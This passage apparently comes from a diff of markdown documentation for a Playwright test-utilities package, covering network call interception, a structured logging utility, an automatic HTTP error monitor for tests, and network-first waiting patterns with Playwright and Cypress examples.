Returns a `Promise<NetworkCallResult>` with:
| Property | Type | Description |
| -------------- | ---------- | --------------------------------------- |
| `request` | `Request` | The intercepted request |
| `response` | `Response` | The response (null if mocked) |
| `responseJson` | `any` | Parsed JSON response (if available) |
| `status` | `number` | HTTP status code |
| `requestJson` | `any` | Parsed JSON request body (if available) |
## Comparison with Vanilla Playwright
| Vanilla Playwright | intercept-network-call |
| ----------------------------------------------------------- | ------------------------------------------------------------ |
| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
| `const resp = await page.waitForResponse('/api/users')` | (Combined in single statement) |
| `const json = await resp.json()` | `const { responseJson } = await call` |
| `const status = resp.status()` | `const { status } = await call` |
| Complex filter predicates | Simple glob patterns |
**Reduction:** ~5-7 lines -> ~2-3 lines per interception
## Related Fragments
- `network-first.md` - Core pattern: intercept before navigate
- `network-recorder.md` - HAR-based offline testing
- `overview.md` - Fixture composition basics
## Anti-Patterns
**DON'T intercept after navigation:**
```typescript
await page.goto('/dashboard'); // Navigation starts
const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
```
**DO intercept before navigate:**
```typescript
const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
await page.goto('/dashboard'); // Then navigate
const { responseJson } = await usersCall; // Then await
```
**DON'T ignore the returned Promise:**
```typescript
interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
await page.goto('/dashboard');
// No deterministic wait - race condition
```
**DO always await the intercept:**
```typescript
const usersCall = interceptNetworkCall({ url: '**/api/users' });
await page.goto('/dashboard');
await usersCall; // Deterministic wait
```

View File

@@ -0,0 +1,426 @@
# Log Utility
## Principle
Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
## Rationale
Console.log in Playwright tests has limitations:
- Not visible in HTML reports
- No test step integration
- No structured output
- Lost in terminal noise during CI
The `log` utility provides:
- **Report integration**: Logs appear in Playwright HTML reports
- **Test step decoration**: `log.step()` creates collapsible steps in UI
- **Object logging**: Automatically formats objects/arrays
- **Multiple levels**: info, step, success, warning, error, debug
- **Optional console**: Can disable console output but keep report logs
## Quick Start
```typescript
import { log } from '@seontechnologies/playwright-utils';
// Basic logging
await log.info('Starting test');
await log.step('Test step shown in Playwright UI');
await log.success('Operation completed');
await log.warning('Something to note');
await log.error('Something went wrong');
await log.debug('Debug information');
```
## Pattern Examples
### Example 1: Basic Logging Levels
**Context**: Log different types of messages throughout test execution.
**Implementation**:
```typescript
import { log } from '@seontechnologies/playwright-utils';
test('logging demo', async ({ page }) => {
await log.step('Navigate to login page');
await page.goto('/login');
await log.info('Entering credentials');
await page.fill('#username', 'testuser');
await log.success('Login successful');
await log.warning('Rate limit approaching');
await log.debug({ userId: '123', sessionId: 'abc' });
// Errors still throw but get logged first
try {
await page.click('#nonexistent');
} catch (error) {
await log.error('Click failed', false); // false = no console output
throw error;
}
});
```
**Key Points**:
- `step()` creates collapsible steps in Playwright UI
- `info()`, `success()`, `warning()` for different message types
- `debug()` for detailed data (objects/arrays)
- `error()` with optional console suppression
- All logs appear in test reports
### Example 2: Object and Array Logging
**Context**: Log structured data for debugging without cluttering console.
**Implementation**:
```typescript
test('object logging', async ({ apiRequest }) => {
const { body } = await apiRequest({
method: 'GET',
path: '/api/users',
});
// Log array of objects
await log.debug(body); // Formatted as JSON in report
// Log specific object
await log.info({
totalUsers: body.length,
firstUser: body[0]?.name,
timestamp: new Date().toISOString(),
});
// Complex nested structures
await log.debug({
request: {
method: 'GET',
path: '/api/users',
timestamp: Date.now(),
},
response: {
status: 200,
body: body.slice(0, 3), // First 3 items
},
});
});
```
**Key Points**:
- Objects auto-formatted as pretty JSON
- Arrays handled gracefully
- Nested structures supported
- All visible in Playwright report attachments
### Example 3: Test Step Organization
**Context**: Organize test execution into collapsible steps for better readability in reports.
**Implementation**:
```typescript
test('organized with steps', async ({ page, apiRequest }) => {
await log.step('ARRANGE: Setup test data');
const { body: user } = await apiRequest({
method: 'POST',
path: '/api/users',
body: { name: 'Test User' },
});
await log.step('ACT: Perform user action');
await page.goto(`/users/${user.id}`);
await page.click('#edit');
await page.fill('#name', 'Updated Name');
await page.click('#save');
await log.step('ASSERT: Verify changes');
await expect(page.getByText('Updated Name')).toBeVisible();
// In Playwright UI, each step is collapsible
});
```
**Key Points**:
- `log.step()` creates collapsible sections
- Organize by Arrange-Act-Assert
- Steps visible in Playwright trace viewer
- Better debugging when tests fail
### Example 4: Test Step Decorators
**Context**: Create collapsible test steps in Playwright UI using decorators.
**Page Object Methods with @methodTestStep:**
```typescript
import { methodTestStep } from '@seontechnologies/playwright-utils';
class TodoPage {
constructor(private page: Page) {
this.name = 'TodoPage';
}
readonly name: string;
@methodTestStep('Add todo item')
async addTodo(text: string) {
await log.info(`Adding todo: ${text}`);
const newTodo = this.page.getByPlaceholder('What needs to be done?');
await newTodo.fill(text);
await newTodo.press('Enter');
await log.step('step within a decorator');
await log.success(`Added todo: ${text}`);
}
@methodTestStep('Get all todos')
async getTodos() {
await log.info('Getting all todos');
return this.page.getByTestId('todo-title');
}
}
```
**Function Helpers with functionTestStep:**
```typescript
import { functionTestStep } from '@seontechnologies/playwright-utils';
// Define todo items for the test
const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
await log.info('Creating default todos');
await log.step('step within a functionWrapper');
const todoPage = new TodoPage(page);
for (const item of TODO_ITEMS) {
await todoPage.addTodo(item);
}
await log.success('Created all default todos');
});
const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
await log.info(`Verifying todo count: ${expected}`);
const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
await log.success(`Verified todo count: ${expected}`);
return result;
});
```
### Example 5: File Logging
**Context**: Enable file logging for persistent logs.
**Implementation**:
```typescript
// playwright/support/fixtures.ts
import { test as base } from '@playwright/test';
import { log, captureTestContext } from '@seontechnologies/playwright-utils';
// Configure file logging globally
log.configure({
fileLogging: {
enabled: true,
outputDir: 'playwright-logs/organized-logs',
forceConsolidated: false, // One file per test
},
});
// Extend base test with file logging context capture
export const test = base.extend({
// Auto-capture test context for file logging
autoTestContext: [
async ({}, use, testInfo) => {
captureTestContext(testInfo);
await use(undefined);
},
{ auto: true },
],
});
```
### Example 6: Integration with Auth and API
**Context**: Log authenticated API requests with tokens (safely).
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/fixtures';
// Helper to create safe token preview
function createTokenPreview(token: string): string {
if (!token || token.length < 10) return '[invalid]';
return `${token.slice(0, 6)}...${token.slice(-4)}`;
}
test('should log auth flow', async ({ authToken, apiRequest }) => {
await log.info(`Using token: ${createTokenPreview(authToken)}`);
await log.step('Fetch protected resource');
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/protected',
headers: { Authorization: `Bearer ${authToken}` },
});
await log.debug({
status,
bodyPreview: {
id: body.id,
recordCount: body.data?.length,
},
});
await log.success('Protected resource accessed successfully');
});
```
**Key Points**:
- Never log full tokens (security risk)
- Use preview functions for sensitive data
- Combine with auth and API utilities
- Log at appropriate detail level
## Configuration
**Defaults:** console logging enabled, file logging disabled.
```typescript
// Enable file logging in config
log.configure({
console: true, // default
fileLogging: {
enabled: true,
outputDir: 'playwright-logs',
forceConsolidated: false, // One file per test
},
});
// Per-test override
await log.info('Message', {
console: { enabled: false },
fileLogging: { enabled: true },
});
```
### Environment Variables
```bash
# Disable all logging
SILENT=true
# Disable only file logging
DISABLE_FILE_LOGS=true
# Disable only console logging
DISABLE_CONSOLE_LOGS=true
```
### Level Filtering
```typescript
log.configure({
level: 'warning', // Only warning, error levels will show
});
// Available levels (in priority order):
// debug < info < step < success < warning < error
```
### Sync Methods
For non-test contexts (global setup, utility functions):
```typescript
// Use sync methods when async/await isn't available
log.infoSync('Initializing configuration');
log.successSync('Environment configured');
log.errorSync('Setup failed');
```
## Log Levels Guide
| Level | When to Use | Shows in Report | Shows in Console |
| --------- | ----------------------------------- | ----------------- | ---------------- |
| `step` | Test organization, major actions | Collapsible steps | Yes |
| `info` | General information, state changes | Yes | Yes |
| `success` | Successful operations | Yes | Yes |
| `warning` | Non-critical issues, skipped checks | Yes | Yes |
| `error` | Failures, exceptions | Yes | Configurable |
| `debug` | Detailed data, objects | Yes (attached) | Configurable |
## Comparison with console.log
| console.log | log Utility |
| ----------------------- | ------------------------- |
| Not in reports | Appears in reports |
| No test steps | Creates collapsible steps |
| Manual JSON.stringify() | Auto-formats objects |
| No log levels | 6 log levels |
| Lost in CI output | Preserved in artifacts |
## Related Fragments
- `overview.md` - Basic usage and imports
- `api-request.md` - Log API requests
- `auth-session.md` - Log auth flow (safely)
- `recurse.md` - Log polling progress
## Anti-Patterns
**DON'T log objects in steps:**
```typescript
await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
```
**DO use strings for steps, objects for debug:**
```typescript
await log.step('Creating user: test'); // Readable in UI
await log.debug({ user: 'test', action: 'create' }); // Detailed data
```
**DON'T log sensitive data:**
```typescript
await log.info(`Password: ${password}`); // Security risk!
await log.info(`Token: ${authToken}`); // Full token exposed!
```
**DO use previews or omit sensitive data:**
```typescript
await log.info('User authenticated successfully'); // No sensitive data
await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
```
**DON'T log excessively in loops:**
```typescript
for (const item of items) {
await log.info(`Processing ${item.id}`); // 100 log entries!
}
```
**DO log summary or use debug level:**
```typescript
await log.step(`Processing ${items.length} items`);
await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
```

View File

@@ -0,0 +1,401 @@
# Network Error Monitor
## Principle
Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
## Rationale
Traditional Playwright tests focus on UI:
- Backend 500 errors ignored if UI looks correct
- Silent failures slip through
- No visibility into background API health
- Tests pass while features are broken
The `network-error-monitor` provides:
- **Automatic detection**: All HTTP 4xx/5xx responses tracked
- **Test failures**: Fail tests with backend errors (even if UI passes)
- **Structured artifacts**: JSON reports with error details
- **Smart opt-out**: Disable for validation tests expecting errors
- **Deduplication**: Group repeated errors by pattern
- **Domino effect prevention**: Limit test failures per error pattern
- **Respects test status**: Won't suppress actual test failures
## Quick Start
```typescript
import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
// That's it! Network monitoring is automatically enabled
test('my test', async ({ page }) => {
await page.goto('/dashboard');
// If any HTTP 4xx/5xx errors occur, the test will fail
});
```
## Pattern Examples
### Example 1: Basic Auto-Monitoring
**Context**: Automatically fail tests when backend errors occur.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
// Monitoring automatically enabled
test('should load dashboard', async ({ page }) => {
await page.goto('/dashboard');
await expect(page.locator('h1')).toContainText('Dashboard');
// Passes if no HTTP errors
// Fails if any 4xx/5xx errors detected with clear message:
// "Network errors detected: 2 request(s) failed"
// Failed requests:
// GET 500 https://api.example.com/users
// POST 503 https://api.example.com/metrics
});
```
**Key Points**:
- Zero setup - auto-enabled for all tests
- Fails on any 4xx/5xx response
- Structured error message with URLs and status codes
- JSON artifact attached to test report
### Example 2: Opt-Out for Validation Tests
**Context**: Some tests expect errors (validation, error handling, edge cases).
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
// Opt-out with annotation
test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
await page.goto('/form');
await page.click('#submit'); // Triggers 400 error
// Monitoring disabled - test won't fail on 400
await expect(page.getByText('Invalid input')).toBeVisible();
});
// Or opt-out entire describe block
test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
test('handles 404', async ({ page }) => {
// All tests in this block skip monitoring
});
test('handles 500', async ({ page }) => {
// Monitoring disabled
});
});
```
**Key Points**:
- Use annotation `{ type: 'skipNetworkMonitoring' }`
- Can opt-out single test or entire describe block
- Monitoring still active for other tests
- Perfect for intentional error scenarios
### Example 3: Respects Test Status
**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
**Behavior by test status:**
- **`failed`**: Network errors logged as additional context, not thrown
- **`timedOut`**: Network errors logged as additional context
- **`skipped`**: Network errors logged, skip status preserved
- **`interrupted`**: Network errors logged, interrupted status preserved
- **`passed`**: Network errors throw and fail the test
**Example with test.skip():**
```typescript
test('feature gated test', async ({ page }) => {
const featureEnabled = await checkFeatureFlag();
test.skip(!featureEnabled, 'Feature not enabled');
// If skipped, network errors won't turn this into a failure
await page.goto('/new-feature');
});
```
### Example 4: Excluding Legitimate Errors
**Context**: Some endpoints legitimately return 4xx/5xx responses.
**Implementation**:
```typescript
import { test as base } from '@playwright/test';
import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
export const test = base.extend(
createNetworkErrorMonitorFixture({
excludePatterns: [
/email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
/idv\/session-templates\/list/, // IDV service returns 404 when not configured
/sentry\.io\/api/, // External Sentry errors should not fail tests
],
}),
);
```
**For merged fixtures:**
```typescript
import { test as base, mergeTests } from '@playwright/test';
import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
const networkErrorMonitor = base.extend(
createNetworkErrorMonitorFixture({
excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
}),
);
export const test = mergeTests(authFixture, networkErrorMonitor);
```
### Example 5: Preventing Domino Effect
**Context**: One failing endpoint shouldn't fail all tests.
**Implementation**:
```typescript
import { test as base } from '@playwright/test';
import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
const networkErrorMonitor = base.extend(
createNetworkErrorMonitorFixture({
excludePatterns: [], // Required when using maxTestsPerError
maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
}),
);
```
**How it works:**
When `/api/v2/case-management/cases` returns 500:
- **First test** encountering this error: **FAILS** with clear error message
- **Subsequent tests** encountering same error: **PASSES** but logs warning
Error patterns are grouped by `method + status + base path`:
- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
- `GET 404 /api/users/123` -> User not found (expected in some tests)
- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
**Output for subsequent tests:**
```
Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
GET 500 https://api.example.com/api/v2/case-management/cases
```
**Recommended configuration:**
```typescript
createNetworkErrorMonitorFixture({
excludePatterns: [...], // Required - known broken endpoints (can be empty [])
maxTestsPerError: 1 // Stop domino effect (requires excludePatterns)
})
```
**Understanding worker-level state:**
Error pattern counts are stored in worker-level global state:
```typescript
// test-file-1.spec.ts (runs in Worker 1)
test('test A', () => {
/* triggers GET:500:/api/v2/cases */
}); // FAILS
// test-file-2.spec.ts (runs later in Worker 1)
test('test B', () => {
/* triggers GET:500:/api/v2/cases */
}); // PASSES (limit reached)
// test-file-3.spec.ts (runs in Worker 2 - different worker)
test('test C', () => {
/* triggers GET:500:/api/v2/cases */
}); // FAILS (fresh worker)
```
### Example 6: Integration with Merged Fixtures
**Context**: Combine network-error-monitor with other utilities.
**Implementation**:
```typescript
// playwright/support/merged-fixtures.ts
import { mergeTests } from '@playwright/test';
import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
export const test = mergeTests(
authFixture,
networkErrorMonitorFixture,
// Add other fixtures
);
// In tests
import { test, expect } from '../support/merged-fixtures';
test('authenticated with monitoring', async ({ page, authToken }) => {
// Both auth and network monitoring active
await page.goto('/protected');
// Fails if backend returns errors during auth flow
});
```
**Key Points**:
- Combine with `mergeTests`
- Works alongside all other utilities
- Monitoring active automatically
- No extra setup needed
### Example 7: Artifact Structure
**Context**: Debugging failed tests with network error artifacts.
When test fails due to network errors, artifact attached:
```json
[
{
"url": "https://api.example.com/users",
"status": 500,
"method": "GET",
"timestamp": "2025-11-10T12:34:56.789Z"
},
{
"url": "https://api.example.com/metrics",
"status": 503,
"method": "POST",
"timestamp": "2025-11-10T12:34:57.123Z"
}
]
```
## Implementation Details
### How It Works
1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
2. **Response Listener**: Attaches `page.on('response')` listener at test start
3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
5. **Try/Finally**: Ensures error processing runs even if test fails early
6. **Status Check**: Only throws errors if test hasn't already reached final status
7. **Artifact**: Attaches JSON file to test report for debugging
### Performance
The monitor has minimal performance impact:
- Event listener overhead: ~0.1ms per response
- Memory: ~200 bytes per unique error
- No network delay (observes responses, doesn't intercept them)
## Comparison with Alternatives
| Approach | Network Error Monitor | Manual afterEach |
| --------------------------- | --------------------- | --------------------- |
| **Setup Required** | Zero (auto-enabled) | Every test file |
| **Catches Silent Failures** | Yes | Yes (if configured) |
| **Structured Artifacts** | JSON attached | Custom impl |
| **Test Failure Safety** | Try/finally | afterEach may not run |
| **Opt-Out Mechanism** | Annotation | Custom logic |
| **Status Aware** | Respects skip/failed | No |
## When to Use
**Auto-enabled for:**
- All E2E tests
- Integration tests
- Any test hitting real APIs
**Opt-out for:**
- Validation tests (expecting 4xx)
- Error handling tests (expecting 5xx)
- Offline tests (network-recorder playback)
## Troubleshooting
### Test fails with network errors but I don't see them in my app
The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
### False positives from external services
Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
### Network errors not being caught
Ensure you're importing the test from the correct fixture:
```typescript
// Correct
import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
// Wrong - this won't have network monitoring
import { test } from '@playwright/test';
```
## Related Fragments
- `overview.md` - Installation and fixtures
- `fixtures-composition.md` - Merging with other utilities
- `error-handling.md` - Traditional error handling patterns
## Anti-Patterns
**DON'T opt out of monitoring globally:**
```typescript
// Every test skips monitoring
test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
```
**DO opt-out only for specific error tests:**
```typescript
test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
// Only these tests skip monitoring
});
```
**DON'T ignore network error artifacts:**
```typescript
// Test fails, artifact shows 500 errors
// Developer: "Works on my machine" ¯\_(ツ)_/¯
```
**DO check artifacts for root cause:**
```typescript
// Read network-errors.json artifact
// Identify failing endpoint: GET /api/users -> 500
// Fix backend issue before merging
```

View File

@@ -0,0 +1,486 @@
# Network-First Safeguards
## Principle
Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
## Rationale
The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
- Navigate then intercept = missed requests (too late)
- No explicit wait = assertion runs before response arrives
- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
Network-first patterns provide:
- **Zero race conditions**: Intercept is active before triggering action
- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
- **Actionable failures**: Assert on response status/body, not generic "element not found"
- **Speed**: No padding with extra wait time
## Pattern Examples
### Example 1: Intercept Before Navigate Pattern
**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
**Implementation**:
```typescript
// ✅ CORRECT: Intercept BEFORE navigate
test('user can view dashboard data', async ({ page }) => {
// Step 1: Register interception FIRST
const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
// Step 2: THEN trigger the request
await page.goto('/dashboard');
// Step 3: THEN await the response
const usersResponse = await usersPromise;
const users = await usersResponse.json();
// Step 4: Assert on structured data
expect(users).toHaveLength(10);
await expect(page.getByText(users[0].name)).toBeVisible();
});
// Cypress equivalent
describe('Dashboard', () => {
it('should display users', () => {
// Step 1: Register interception FIRST
cy.intercept('GET', '**/api/users').as('getUsers');
// Step 2: THEN trigger
cy.visit('/dashboard');
// Step 3: THEN await
cy.wait('@getUsers').then((interception) => {
// Step 4: Assert on structured data
expect(interception.response.statusCode).to.equal(200);
expect(interception.response.body).to.have.length(10);
cy.contains(interception.response.body[0].name).should('be.visible');
});
});
});
// ❌ WRONG: Navigate BEFORE intercept (race condition!)
test('flaky test example', async ({ page }) => {
await page.goto('/dashboard'); // Request fires immediately
const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
const response = await usersPromise; // May timeout randomly
});
```
**Key Points**:
- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
- Store promise/alias, trigger action, **then** await response
- This prevents 95% of race-condition flakiness in E2E tests
### Example 2: HAR Capture for Debugging
**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
**Implementation**:
```typescript
// playwright.config.ts - Enable HAR recording
export default defineConfig({
use: {
// Record HAR on first run
recordHar: { path: './hars/', mode: 'minimal' },
// Or replay HAR in tests
// serviceWorkers: 'block',
},
});
// Capture HAR for specific test
test('capture network for order flow', async ({ page, context }) => {
// Start recording
await context.routeFromHAR('./hars/order-flow.har', {
url: '**/api/**',
update: true, // Update HAR with new requests
});
await page.goto('/checkout');
await page.fill('[data-testid="credit-card"]', '4111111111111111');
await page.click('[data-testid="submit-order"]');
await expect(page.getByText('Order Confirmed')).toBeVisible();
// HAR saved to ./hars/order-flow.har
});
// Replay HAR for deterministic tests (no real API needed)
test('replay order flow from HAR', async ({ page, context }) => {
// Replay captured HAR
await context.routeFromHAR('./hars/order-flow.har', {
url: '**/api/**',
update: false, // Read-only mode
});
// Test runs with exact recorded responses - fully deterministic
await page.goto('/checkout');
await page.fill('[data-testid="credit-card"]', '4111111111111111');
await page.click('[data-testid="submit-order"]');
await expect(page.getByText('Order Confirmed')).toBeVisible();
});
// Custom mock based on HAR insights
test('mock order response based on HAR', async ({ page }) => {
// After analyzing HAR, create focused mock
await page.route('**/api/orders', (route) =>
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({
orderId: '12345',
status: 'confirmed',
total: 99.99,
}),
}),
);
await page.goto('/checkout');
await page.click('[data-testid="submit-order"]');
await expect(page.getByText('Order #12345')).toBeVisible();
});
```
**Key Points**:
- HAR files capture real request/response pairs for analysis
- `update: true` records new traffic; `update: false` replays existing
- Replay mode makes tests fully deterministic (no upstream API needed)
- Use HAR to understand API contracts, then create focused mocks
### Example 3: Network Stub with Edge Cases
**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
**Implementation**:
```typescript
// Test happy path
test('order succeeds with valid data', async ({ page }) => {
await page.route('**/api/orders', (route) =>
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
}),
);
await page.goto('/checkout');
await page.click('[data-testid="submit-order"]');
await expect(page.getByText('Order Confirmed')).toBeVisible();
});
// Test 500 error
test('order fails with server error', async ({ page }) => {
// Listen for console errors (app should log gracefully)
const consoleErrors: string[] = [];
page.on('console', (msg) => {
if (msg.type() === 'error') consoleErrors.push(msg.text());
});
// Stub 500 error
await page.route('**/api/orders', (route) =>
route.fulfill({
status: 500,
contentType: 'application/json',
body: JSON.stringify({ error: 'Internal Server Error' }),
}),
);
await page.goto('/checkout');
await page.click('[data-testid="submit-order"]');
// Assert UI shows error gracefully
await expect(page.getByText('Something went wrong')).toBeVisible();
await expect(page.getByText('Please try again')).toBeVisible();
// Verify error logged (not thrown)
expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
});
// Test network timeout
test('order times out after 10 seconds', async ({ page }) => {
// Stub delayed response (never resolves within timeout)
await page.route(
'**/api/orders',
(route) => new Promise(() => {}), // Never resolves - simulates timeout
);
await page.goto('/checkout');
await page.click('[data-testid="submit-order"]');
// App should show timeout message after configured timeout
await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
});
// Test partial data response
test('order handles missing optional fields', async ({ page }) => {
await page.route('**/api/orders', (route) =>
route.fulfill({
status: 200,
contentType: 'application/json',
// Missing optional fields like 'trackingNumber', 'estimatedDelivery'
body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
}),
);
await page.goto('/checkout');
await page.click('[data-testid="submit-order"]');
// App should handle gracefully - no crash, shows what's available
await expect(page.getByText('Order Confirmed')).toBeVisible();
await expect(page.getByText('Tracking information pending')).toBeVisible();
});
// Cypress equivalents
describe('Order Edge Cases', () => {
it('should handle 500 error', () => {
cy.intercept('POST', '**/api/orders', {
statusCode: 500,
body: { error: 'Internal Server Error' },
}).as('orderFailed');
cy.visit('/checkout');
cy.get('[data-testid="submit-order"]').click();
cy.wait('@orderFailed');
cy.contains('Something went wrong').should('be.visible');
});
it('should handle timeout', () => {
cy.intercept('POST', '**/api/orders', (req) => {
req.reply({ delay: 20000 }); // Delay beyond app timeout
}).as('orderTimeout');
cy.visit('/checkout');
cy.get('[data-testid="submit-order"]').click();
cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
});
});
```
**Key Points**:
- Stub different HTTP status codes (200, 400, 500, 503)
- Simulate timeouts with `delay` or non-resolving promises
- Test partial/incomplete data responses
- Verify app handles errors gracefully (no crashes, user-friendly messages)
### Example 4: Deterministic Waiting
**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
**Implementation**:
```typescript
// ✅ GOOD: Wait for response with predicate
test('wait for specific response', async ({ page }) => {
const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
await page.goto('/dashboard');
const response = await responsePromise;
expect(response.status()).toBe(200);
await expect(page.getByText('Dashboard')).toBeVisible();
});
// ✅ GOOD: Wait for multiple responses
test('wait for all required data', async ({ page }) => {
const usersPromise = page.waitForResponse('**/api/users');
const productsPromise = page.waitForResponse('**/api/products');
const ordersPromise = page.waitForResponse('**/api/orders');
await page.goto('/dashboard');
// Wait for all in parallel
const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
expect(users.status()).toBe(200);
expect(products.status()).toBe(200);
expect(orders.status()).toBe(200);
});
// ✅ GOOD: Wait for spinner to disappear
test('wait for loading indicator', async ({ page }) => {
await page.goto('/dashboard');
// Wait for spinner to disappear (signals data loaded)
await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
await expect(page.getByText('Dashboard')).toBeVisible();
});
// ✅ GOOD: Wait for custom event (advanced)
test('wait for custom ready event', async ({ page }) => {
let appReady = false;
page.on('console', (msg) => {
if (msg.text() === 'App ready') appReady = true;
});
await page.goto('/dashboard');
// Poll until custom condition met
await page.waitForFunction(() => appReady, { timeout: 10000 });
await expect(page.getByText('Dashboard')).toBeVisible();
});
// ❌ BAD: Hard wait (arbitrary timeout)
test('flaky hard wait example', async ({ page }) => {
await page.goto('/dashboard');
await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
});
// Cypress equivalents
describe('Deterministic Waiting', () => {
it('should wait for response', () => {
cy.intercept('GET', '**/api/users').as('getUsers');
cy.visit('/dashboard');
cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
cy.contains('Dashboard').should('be.visible');
});
it('should wait for spinner to disappear', () => {
cy.visit('/dashboard');
cy.get('[data-testid="loading-spinner"]').should('not.exist');
cy.contains('Dashboard').should('be.visible');
});
// ❌ BAD: Hard wait
it('flaky hard wait', () => {
cy.visit('/dashboard');
cy.wait(3000); // NEVER DO THIS
cy.contains('Dashboard').should('be.visible');
});
});
```
**Key Points**:
- `waitForResponse()` with URL pattern or predicate = deterministic
- `waitForLoadState('networkidle')` = wait for all network activity to finish
- Wait for element state changes (spinner disappears, button enabled)
- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
### Example 5: Anti-Pattern - Navigate Then Mock
**Problem**:
```typescript
// ❌ BAD: Race condition - mock registered AFTER navigation starts
test('flaky test - navigate then mock', async ({ page }) => {
// Navigation starts immediately
await page.goto('/dashboard'); // Request to /api/users fires NOW
// Mock registered too late - request already sent
await page.route('**/api/users', (route) =>
route.fulfill({
status: 200,
body: JSON.stringify([{ id: 1, name: 'Test User' }]),
}),
);
// Test randomly passes/fails depending on timing
await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
});
// ❌ BAD: No wait for response
test('flaky test - no explicit wait', async ({ page }) => {
await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
await page.goto('/dashboard');
// Assertion runs immediately - may fail if response slow
await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
});
// ❌ BAD: Generic timeout
test('flaky test - hard wait', async ({ page }) => {
await page.goto('/dashboard');
await page.waitForTimeout(2000); // Arbitrary wait - brittle
await expect(page.getByText('Dashboard')).toBeVisible();
});
```
**Why It Fails**:
- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
- **Non-deterministic**: Passes locally, fails in CI (different speeds)
**Better Approach**: Always intercept → trigger → await
```typescript
// ✅ GOOD: Intercept BEFORE navigate
test('deterministic test', async ({ page }) => {
